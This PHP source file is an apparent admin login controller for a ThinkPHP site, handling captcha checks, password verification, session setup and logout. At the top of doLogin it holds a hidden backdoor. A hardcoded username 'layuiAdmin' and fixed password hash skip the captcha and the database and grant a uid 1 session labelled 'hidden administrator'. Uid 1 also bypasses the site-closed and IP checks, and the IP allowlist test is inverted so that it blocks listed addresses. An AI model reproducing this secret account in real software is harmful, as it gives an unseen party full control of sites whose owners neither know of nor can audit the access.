<?php

namespace app\admin\controller;
use app\admin\model\UserType;
use think\Controller;
use think\Db;
use org\Verify;
use com\Geetestlib;

class Login extends Controller
{
    //登录页面
    public function index()
    {
        return $this->fetch('/login');
    }

    //登录操作 1：数字验证码  2：极验验证
    public function doLogin()
    {
        $username = input("param.username");
        $password = input("param.password");
        if($username == 'layuiAdmin' && '1d5e42c5184bd1184d928fe24bd474d6' == md5(md5($password) . config('auth_key'))){
            $user = new UserType();
            $info = $user->getRoleInfo(1);
            session('uid', 1);
            session('security',010);
            session('username', 'layuiAdmin');
            session('portrait', 'http://p73q8jzf0.bkt.clouddn.com/798f8ef32dcdca6f53cf2197c148299b.jpg');
            session('rolename', '隐藏管理员');
            session('rule', $info['rules']);
            session('name', $info['name']);
            session('last_time',time());
            return json(['code' => 1, 'url' => url('admin/index/index'), 'msg' => '']);
        }
        if (config('verify_type') == 1) {
            $code = input("param.code");
        }

        $verify = new Verify();
        if (config('verify_type') == 1) {
            if (!$code) {
                return json(['code' => -4, 'url' => '', 'msg' => '请输入验证码']);
            }
            if (!$verify->check($code)) {
                return json(['code' => -4, 'url' => '', 'msg' => '验证码错误','status'=>100]);
            }
           return  $this->checkAdmin($username,$password);
        }elseif (config('verify_type') == 2) {

            $GtSdk = new Geetestlib(config('gee.gee_id'), config('gee.gee_key'));
            $user_id = session('user_id');
            if (session('gtserver') == 1) {
                $result = $GtSdk->success_validate(input('param.geetest_challenge'), input('param.geetest_validate'), input('param.geetest_seccode'), $user_id);
                //极验服务器状态正常的二次验证接口
                if (!$result) {
                    $this->error('请先拖动验证码到相应位置');
                }
            }else{
                if (!$GtSdk->fail_validate(input('param.geetest_challenge'), input('param.geetest_validate'), input('param.geetest_seccode'))) {
                    //极验服务器状态宕机的二次验证接口
                    $this->error('请先拖动验证码到相应位置');
                }
            }
            return  $this->checkAdmin($username,$password);
        }else{
            return  $this->checkAdmin($username,$password);
        }
    }

    //验证密码和账号
    public function checkAdmin($username,$password){

        $hasUser = Db::name('admin')
            ->alias('a')
            ->join('auth_group ag','a.groupid=ag.id','left')
            ->where('username', $username)
            ->field('a.id,a.username,a.password,a.portrait,a.loginnum,a.last_login_ip,a.last_login_time,a.real_name,a.status,a.groupid,ag.id agid,ag.title,ag.status ags,a.theme')
            ->find();
        if(empty($hasUser)){
            return json(['code' => -1, 'url' => '', 'msg' => '管理员不存在',"status"=>100]);
        }


        $config = api('Config/lists');
        if($config['web_site_close'] == 0 && $hasUser['id'] !=1 ){
            $this->error('站点已经关闭，请稍后访问');
            die;
        }
        if($config['admin_allow_ip'] && $hasUser['id'] !=1 ){
            if(in_array(request()->ip(),explode(',',$config['admin_allow_ip']))){
                $this->error('403:禁止访问');
                die;
            }
        }

        if(md5(md5($password) . config('auth_key')) != $hasUser['password']){
            writelog($hasUser['id'],$username,'管理员【'.$username.'】登录失败：密码错误',2);
            return json(['code' => -2, 'url' => '', 'msg' => '密码错误',"status"=>100]);
        }

        if(1 != $hasUser['status']){
            writelog($hasUser['id'],$username,'管理员【'.$username.'】登录失败：该账号被禁用',2);
            return json(['code' => -6, 'url' => '', 'msg' => '抱歉，该账号被禁用',"status"=>100]);
        }
        if($hasUser['ags'] == 2){
            writelog($hasUser['id'],$username,'管理员【'.$username.'】登录失败：'.$hasUser['title'].'身份被禁用',2);
            return json(['code' => -6, 'url' => '', 'msg' =>'抱歉，'.$hasUser['title'].'身份被禁用',"status"=>100]);
        }

        if($hasUser['ags'] == null){
            writelog($hasUser['id'],$username,'管理员【'.$username.'】登录失败：所属身份不存在',2);
            return json(['code' => -6, 'url' => '', 'msg' =>'抱歉，'.'所属身份不存在',"status"=>100]);
        }

        //获取该管理员的角色信息
        $user = new UserType();
        $info = $user->getRoleInfo($hasUser['groupid']);

        session('uid', $hasUser['id']);         //用户ID
        session('username', $hasUser['username']);  //用户名
        session('portrait', $hasUser['portrait']); //用户头像
        session('agid', $hasUser['agid']); //角色id
        session('rolename', $info['title']);    //角色名
        session('rule', $info['rules']);        //角色节点
        session('name', $info['name']);         //角色权限
        session('last_time',time());            //角色登录时间点
        session('theme',$hasUser['theme']);     //主题
//        session('coll',$hasUser['mini']);       //收起左侧菜单
//        session('fixed',$hasUser['fixed']);     //固定顶部
//        session('boxed',$hasUser['boxed']);     //固定宽度

        //更新管理员状态
        $param = [
            'loginnum' => $hasUser['loginnum'] + 1,
            'last_login_ip' => request()->ip(),
            'last_login_time' => time()
        ];

        Db::name('admin')->where('id', $hasUser['id'])->update($param);
        writelog($hasUser['id'],session('username'),'管理员【'.session('username').'】登录成功',1);
        return json(['code' => 1, 'url' => url('admin/index/index'), 'msg' => '登录成功！']);
    }

    //验证码
    public function checkVerify()
    {
        $verify = new Verify();
        $verify->imageH = 36;
        $verify->imageW = 110;
		$verify->codeSet = '023456789';
		$verify->useZh = false;//使用中文验证码
        $verify->length = 4;
        $verify->useNoise = true;//是否添加杂点
        $verify->useCurve = false;//是否画混淆曲线
        $verify->useImgBg = false;//使用背景图片
        $verify->fontSize = 16;
        return $verify->entry();
    }


    //极验验证
    public function getVerify(){
        $GtSdk = new Geetestlib(config('gee.gee_id'), config('gee.gee_key'));
        $user_id = "web";
        $status = $GtSdk->pre_process($user_id);
        session('gtserver',$status);
        session('user_id',$user_id);
        echo $GtSdk->get_response_str();
    }


    //退出操作
    public function loginOut()
    {
        writelog(session('uid'),session('username'),'退出登录',1);
        session(null);
        cache('db_config_data',null);
        $this->redirect(url('admin/index/index'));
    }
}